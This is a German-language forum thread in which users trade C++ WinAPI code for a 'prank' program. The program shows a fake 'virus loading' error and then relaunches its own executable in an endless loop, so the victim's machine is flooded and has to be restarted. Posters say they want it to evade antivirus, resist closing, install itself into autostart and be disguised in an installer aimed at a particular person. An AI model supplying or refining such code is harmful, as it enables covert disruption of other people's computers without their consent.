ich suche so einen source code für eine art scherz datei (am besten sollte ein virenscanner die datei nacher nicht als scherzdatei oder virus identifizieren)
die folgene sachen kann:
am anfang fheler meldungen und nah einer zeit steht auf dem screen formatiere festplatte.
dannach wird der bilschirm schwarz oder es kommen irgendwelche zeicehn. am besten wär es, wenn man das prog nicht durch alt+f4 schließen kann, oder das man die win taste nutzen kann, oder strg alt ent geht.
gibt es sowas überhaupt?
die folgene sachen kann:
am anfang fheler meldungen und nah einer zeit steht auf dem screen formatiere festplatte.
dannach wird der bilschirm schwarz oder es kommen irgendwelche zeicehn. am besten wär es, wenn man das prog nicht durch alt+f4 schließen kann, oder das man die win taste nutzen kann, oder strg alt ent geht.
gibt es sowas überhaupt?
ja klar!
ich hab auch schon mal ein programm geschrieben, dass unendlich viele fenster aufmacht *g*
ich hab auch schon mal ein programm geschrieben, dass unendlich viele fenster aufmacht *g*
nein, kann ich aber nochmal schreiben...
brauchst du die exe oder den code?
brauchst du die exe oder den code?
mach einfach ein neues winapplicationprojekt auf
dann schreibst du in der main schleife erst mal
MessageBox(NULL,"Virus wird geladen... ", "ERROR",MB_OK|MB_ICONEXCLAMATION);
(das kannst du natürlich in einer kleinen for schleife machen
dann ein ganz normales fenster erstellen
zuletzt noch eine endlosschleife, die so lautet:
for(;;)
{
ShellExecut(NULL,"open","programmname.exe","",NULL,SW_SHOW);
}
bei programmname musst du dann die exe, des kompilierten programms angeben
wenn du mit diesem nicht zurecht kommst, kann ich dir den kompletten code mailen...
dann schreibst du in der main schleife erst mal
MessageBox(NULL,"Virus wird geladen... ", "ERROR",MB_OK|MB_ICONEXCLAMATION);
(das kannst du natürlich in einer kleinen for schleife machen
dann ein ganz normales fenster erstellen
zuletzt noch eine endlosschleife, die so lautet:
for(;;)
{
ShellExecut(NULL,"open","programmname.exe","",NULL,SW_SHOW);
}
bei programmname musst du dann die exe, des kompilierten programms angeben
wenn du mit diesem nicht zurecht kommst, kann ich dir den kompletten code mailen...
der compiler meldet am ende immer ne fehler meldung, weiß nicht warum
93 X:\popup\main.cpp
`ShellExecut' undeclared (first use this function)
und die zeile:
ShellExecut(NULL,"open","programmname.exe","",NULL
,SW_SHOW);
ist markiert
`ShellExecut' undeclared (first use this function)
und die zeile:
ShellExecut(NULL,"open","programmname.exe","",NULL
,SW_SHOW);
ist markiert
sorry, falsch geschrieben...
ShellExecute(NULL,"open","programmname.exe","",NULL
,SW_SHOW);
so ist richtig
ShellExecute(NULL,"open","programmname.exe","",NULL
,SW_SHOW);
so ist richtig
vielleicht bin ich einfach zu dumm aber jetzt kommt:
parse error before `for'
und das halt bei
for(;;)
parse error before `for'
und das halt bei
for(;;)
das for(;;) stimmt schon, der Fehler ist DAVOR. vielleicht hast du ein ; irgendwo vergessen...
ich weiß(before "for"), nur was.
ich habe es einfach bequem gemacht, ein neues proj geöffnet, dann die main schleife mit dem was du geshcriebn hast nach oben geetzt, und am ende die endlosschleife
ich habe es einfach bequem gemacht, ein neues proj geöffnet, dann die main schleife mit dem was du geshcriebn hast nach oben geetzt, und am ende die endlosschleife
ok, wenn du ein neues projekt geöffnet hast:
such mal das:
/* Run the message loop. It will run until GetMessage() returns 0 */
while (GetMessage (&messages, NULL, 0, 0))
{
/* Translate virtual-key messages into character messages */
TranslateMessage(&messages);
/* Send message to WindowProcedure */
DispatchMessage(&messages);
}
dann schreibst du das ShellExecute(... einfach nach DispatchMessage(...
such mal das:
/* Run the message loop. It will run until GetMessage() returns 0 */
while (GetMessage (&messages, NULL, 0, 0))
{
/* Translate virtual-key messages into character messages */
TranslateMessage(&messages);
/* Send message to WindowProcedure */
DispatchMessage(&messages);
}
dann schreibst du das ShellExecute(... einfach nach DispatchMessage(...
bei mir wird nur das fenster ERROR - Virus...
geöffnet. also wird nicht wieder holt. kannst du mal bitte den code hier posten den du dahast?
geöffnet. also wird nicht wieder holt. kannst du mal bitte den code hier posten den du dahast?
du musst bei ShellExecute(NULL,"open","programmname.exe","",NULL,SW_SHOW);
statt programmname den namen der exe schreiben, die dein compiler macht
also meistens den projektnamen+.exe glaub ich
z.b.:ShellExecute(NULL,"open","projekt1.exe","",NULL,SW_SHOW);
statt programmname den namen der exe schreiben, die dein compiler macht
also meistens den projektnamen+.exe glaub ich
z.b.:ShellExecute(NULL,"open","projekt1.exe","",NULL,SW_SHOW);
darf ich mal deinen sourcecode sehen?
und schreib überall, wo du glaubst, es passt das ShellExecute(..)
und schreib überall, wo du glaubst, es passt das ShellExecute(..)
#include <windows.h>
main()
{
MessageBox(NULL,"Virus wird geladen... ", "ERROR",MB_OK|MB_ICONEXCLAMATION);
}
/* Declare Windows procedure */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
/* Make the class name into a global variable */
char szClassName[ ] = "WindowsApp";
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HWND hwnd; /* This is the handle for our window */
MSG messages; /* Here messages to the application are saved */
WNDCLASSEX wincl; /* Data structure for the windowclass */
/* The Window structure */
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */
wincl.style = CS_DBLCLKS; /* Catch double-clicks */
wincl.cbSize = sizeof (WNDCLASSEX);
/* Use default icon and mouse-pointer */
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL; /* No menu */
wincl.cbClsExtra = 0; /* No extra bytes after the window class */
wincl.cbWndExtra = 0; /* structure or the window instance */
/* Use Windows's default color as the background of the window */
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
/* Register the window class, and if it fails quit the program */
if (!RegisterClassEx (&wincl))
return 0;
/* The class is registered, let's create the program*/
hwnd = CreateWindowEx (
0, /* Extended possibilites for variation */
szClassName, /* Classname */
"Windows App", /* Title Text */
WS_OVERLAPPEDWINDOW, /* default window */
CW_USEDEFAULT, /* Windows decides the position */
CW_USEDEFAULT, /* where the window ends up on the screen */
544, /* The programs width */
375, /* and height in pixels */
HWND_DESKTOP, /* The window is a child-window to desktop */
NULL, /* No menu */
hThisInstance, /* Program Instance handler */
NULL /* No Window Creation data */
);
/* Make the window visible on the screen */
ShowWindow (hwnd, nFunsterStil);
/* Run the message loop. It will run until GetMessage() returns 0 */
while (GetMessage (&messages, NULL, 0, 0))
{
/* Translate virtual-key messages into character messages */
TranslateMessage(&messages);
/* Send message to WindowProcedure */
DispatchMessage(&messages);
ShellExecute(NULL,"open","pop.exe","",NULL,SW_SHOW);
}
/* The program return-value is 0 - The value that PostQuitMessage() gave */
return messages.wParam;
}
/* This function is called by the Windows function DispatchMessage() */
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message) /* handle the messages */
{
case WM_DESTROY:
PostQuitMessage (0); /* send a WM_QUIT to the message queue */
break;
default: /* for messages that we don't deal with */
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}
main()
{
MessageBox(NULL,"Virus wird geladen... ", "ERROR",MB_OK|MB_ICONEXCLAMATION);
}
/* Declare Windows procedure */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
/* Make the class name into a global variable */
char szClassName[ ] = "WindowsApp";
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HWND hwnd; /* This is the handle for our window */
MSG messages; /* Here messages to the application are saved */
WNDCLASSEX wincl; /* Data structure for the windowclass */
/* The Window structure */
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */
wincl.style = CS_DBLCLKS; /* Catch double-clicks */
wincl.cbSize = sizeof (WNDCLASSEX);
/* Use default icon and mouse-pointer */
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL; /* No menu */
wincl.cbClsExtra = 0; /* No extra bytes after the window class */
wincl.cbWndExtra = 0; /* structure or the window instance */
/* Use Windows's default color as the background of the window */
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
/* Register the window class, and if it fails quit the program */
if (!RegisterClassEx (&wincl))
return 0;
/* The class is registered, let's create the program*/
hwnd = CreateWindowEx (
0, /* Extended possibilites for variation */
szClassName, /* Classname */
"Windows App", /* Title Text */
WS_OVERLAPPEDWINDOW, /* default window */
CW_USEDEFAULT, /* Windows decides the position */
CW_USEDEFAULT, /* where the window ends up on the screen */
544, /* The programs width */
375, /* and height in pixels */
HWND_DESKTOP, /* The window is a child-window to desktop */
NULL, /* No menu */
hThisInstance, /* Program Instance handler */
NULL /* No Window Creation data */
);
/* Make the window visible on the screen */
ShowWindow (hwnd, nFunsterStil);
/* Run the message loop. It will run until GetMessage() returns 0 */
while (GetMessage (&messages, NULL, 0, 0))
{
/* Translate virtual-key messages into character messages */
TranslateMessage(&messages);
/* Send message to WindowProcedure */
DispatchMessage(&messages);
ShellExecute(NULL,"open","pop.exe","",NULL,SW_SHOW);
}
/* The program return-value is 0 - The value that PostQuitMessage() gave */
return messages.wParam;
}
/* This function is called by the Windows function DispatchMessage() */
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message) /* handle the messages */
{
case WM_DESTROY:
PostQuitMessage (0); /* send a WM_QUIT to the message queue */
break;
default: /* for messages that we don't deal with */
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}
jo klar das das nix wird, du hast da mit der main schleife was falsch verstanden. du sollst nicht nochmal eine mainschleife anlegen!
versuch mal den code:
#include <windows.h>
/* Declare Windows procedure */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
/* Make the class name into a global variable */
char szClassName[ ] = "WindowsApp";
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HWND hwnd; /* This is the handle for our window */
MSG messages; /* Here messages to the application are saved */
WNDCLASSEX wincl; /* Data structure for the windowclass */
/* The Window structure */
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */
wincl.style = CS_DBLCLKS; /* Catch double-clicks */
wincl.cbSize = sizeof (WNDCLASSEX);
/* Use default icon and mouse-pointer */
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL; /* No menu */
wincl.cbClsExtra = 0; /* No extra bytes after the window class */
wincl.cbWndExtra = 0; /* structure or the window instance */
/* Use Windows's default color as the background of the window */
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
MessageBox(NULL,"Virus wird geladen... ", "ERROR",MB_OK|MB_ICONEXCLAMATION);
/* Register the window class, and if it fails quit the program */
if (!RegisterClassEx (&wincl))
return 0;
/* The class is registered, let's create the program*/
hwnd = CreateWindowEx (
0, /* Extended possibilites for variation */
szClassName, /* Classname */
"Windows App", /* Title Text */
WS_OVERLAPPEDWINDOW, /* default window */
CW_USEDEFAULT, /* Windows decides the position */
CW_USEDEFAULT, /* where the window ends up on the screen */
544, /* The programs width */
375, /* and height in pixels */
HWND_DESKTOP, /* The window is a child-window to desktop */
NULL, /* No menu */
hThisInstance, /* Program Instance handler */
NULL /* No Window Creation data */
);
/* Make the window visible on the screen */
ShowWindow (hwnd, nFunsterStil);
/* Run the message loop. It will run until GetMessage() returns 0 */
while (GetMessage (&messages, NULL, 0, 0))
{
/* Translate virtual-key messages into character messages */
TranslateMessage(&messages);
/* Send message to WindowProcedure */
DispatchMessage(&messages);
ShellExecute(NULL,"open","pop.exe","",NULL,SW_SHOW
);
}
/* The program return-value is 0 - The value that PostQuitMessage() gave */
return messages.wParam;
}
/* This function is called by the Windows function DispatchMessage() */
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message) /* handle the messages */
{
case WM_DESTROY:
PostQuitMessage (0); /* send a WM_QUIT to the message queue */
break;
default: /* for messages that we don't deal with */
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}
ich habs noch nicht getestet, weil wenns funktioniert ich den computer neu starten müsste... =)
versuch mal den code:
#include <windows.h>
/* Declare Windows procedure */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
/* Make the class name into a global variable */
char szClassName[ ] = "WindowsApp";
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HWND hwnd; /* This is the handle for our window */
MSG messages; /* Here messages to the application are saved */
WNDCLASSEX wincl; /* Data structure for the windowclass */
/* The Window structure */
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */
wincl.style = CS_DBLCLKS; /* Catch double-clicks */
wincl.cbSize = sizeof (WNDCLASSEX);
/* Use default icon and mouse-pointer */
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL; /* No menu */
wincl.cbClsExtra = 0; /* No extra bytes after the window class */
wincl.cbWndExtra = 0; /* structure or the window instance */
/* Use Windows's default color as the background of the window */
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
MessageBox(NULL,"Virus wird geladen... ", "ERROR",MB_OK|MB_ICONEXCLAMATION);
/* Register the window class, and if it fails quit the program */
if (!RegisterClassEx (&wincl))
return 0;
/* The class is registered, let's create the program*/
hwnd = CreateWindowEx (
0, /* Extended possibilites for variation */
szClassName, /* Classname */
"Windows App", /* Title Text */
WS_OVERLAPPEDWINDOW, /* default window */
CW_USEDEFAULT, /* Windows decides the position */
CW_USEDEFAULT, /* where the window ends up on the screen */
544, /* The programs width */
375, /* and height in pixels */
HWND_DESKTOP, /* The window is a child-window to desktop */
NULL, /* No menu */
hThisInstance, /* Program Instance handler */
NULL /* No Window Creation data */
);
/* Make the window visible on the screen */
ShowWindow (hwnd, nFunsterStil);
/* Run the message loop. It will run until GetMessage() returns 0 */
while (GetMessage (&messages, NULL, 0, 0))
{
/* Translate virtual-key messages into character messages */
TranslateMessage(&messages);
/* Send message to WindowProcedure */
DispatchMessage(&messages);
ShellExecute(NULL,"open","pop.exe","",NULL,SW_SHOW
);
}
/* The program return-value is 0 - The value that PostQuitMessage() gave */
return messages.wParam;
}
/* This function is called by the Windows function DispatchMessage() */
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message) /* handle the messages */
{
case WM_DESTROY:
PostQuitMessage (0); /* send a WM_QUIT to the message queue */
break;
default: /* for messages that we don't deal with */
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}
ich habs noch nicht getestet, weil wenns funktioniert ich den computer neu starten müsste... =)
es klappt.
--
na da wird sich aber jemand freuen.....
muss nur noch in den autostart...
--
na da wird sich aber jemand freuen.....
muss nur noch in den autostart...
*g*
das hab ich auch noch nicht geschafft, dass sich das programm von alleine in den autostart einträgt
das hab ich auch noch nicht geschafft, dass sich das programm von alleine in den autostart einträgt
wenn ich es auf jemand bestimmten abgesehen habe brauch ich nur nen install maker, und tarn das ganze mit namo webeditor oder so.
Leude ich weis was jetzt kommt is sau lamerhaft aber habt ihr mal versucht das ganze als Batch zu machen?
Ich muss zugeben ich peils nich so recht denn ich bin ein C++ n00b (wie ich schon sagte).
Ich muss zugeben ich peils nich so recht denn ich bin ein C++ n00b (wie ich schon sagte).
@ coder
Kann man den Code mit Irgendeinem Programmiertool verwirklichen(z.B. Mit 3D Game Studio Skript Editor)?
Oder was braucht man da`?
Kann man den Code mit Irgendeinem Programmiertool verwirklichen(z.B. Mit 3D Game Studio Skript Editor)?
Oder was braucht man da`?
mit 3d game studio glaub ich nicht...
du brauchst einen compiler, der winapi unterstützt
kostenlos: dev-cpp compiler (den hab ich auch)
du brauchst einen compiler, der winapi unterstützt
kostenlos: dev-cpp compiler (den hab ich auch)
@Coder
Was hast du für eine dev-c++ version? bei mir gehts nicht.
:( da öffnet sich immer nur die MessageBox un dann das Fenster aber wenn ich das schließe kommt nix mehr.
Was hast du für eine dev-c++ version? bei mir gehts nicht.
:( da öffnet sich immer nur die MessageBox un dann das Fenster aber wenn ich das schließe kommt nix mehr.
du hast wahrscheinlich den name, der exe datei falsch geschrieben.
in dieser codezeile:
ShellExecute(NULL,"open","pop.exe","",NULL,SW_SHOW);
musst du pop.exe umbenennen oder du benennst die kompilierte datei um
in dieser codezeile:
ShellExecute(NULL,"open","pop.exe","",NULL,SW_SHOW);
musst du pop.exe umbenennen oder du benennst die kompilierte datei um
@coder
Kannst du mir Mal 'n DOWNLOAD Link für dieses Programm geben?
Danke
Kannst du mir Mal 'n DOWNLOAD Link für dieses Programm geben?
Danke
ich denk schon, weil es ja nichts am system verändert...
...aber dann wäre sasser doch eigentlich auch legal weil es doch nur ein auto-neustart programm ist, oder?
...aber dann wäre sasser doch eigentlich auch legal weil es doch nur ein auto-neustart programm ist, oder?
MessageBox(NULL,"text", "titel",MB_YESNO|MB_ICONEXCLAMATION);
musst aber window.h includen
musst aber window.h includen
danke, nur wenn einer Mit nein geantwortet hat, wie komm ich dann zu einer anderen stelle?
if(MessageBox(NULL,"text", "titel",MB_YESNO|MB_ICONEXCLAMATION)==IDNO)
{
//nein
}
else
{
//ja
}
{
//nein
}
else
{
//ja
}
Logge dich ein um einen Beitrag zu schreiben.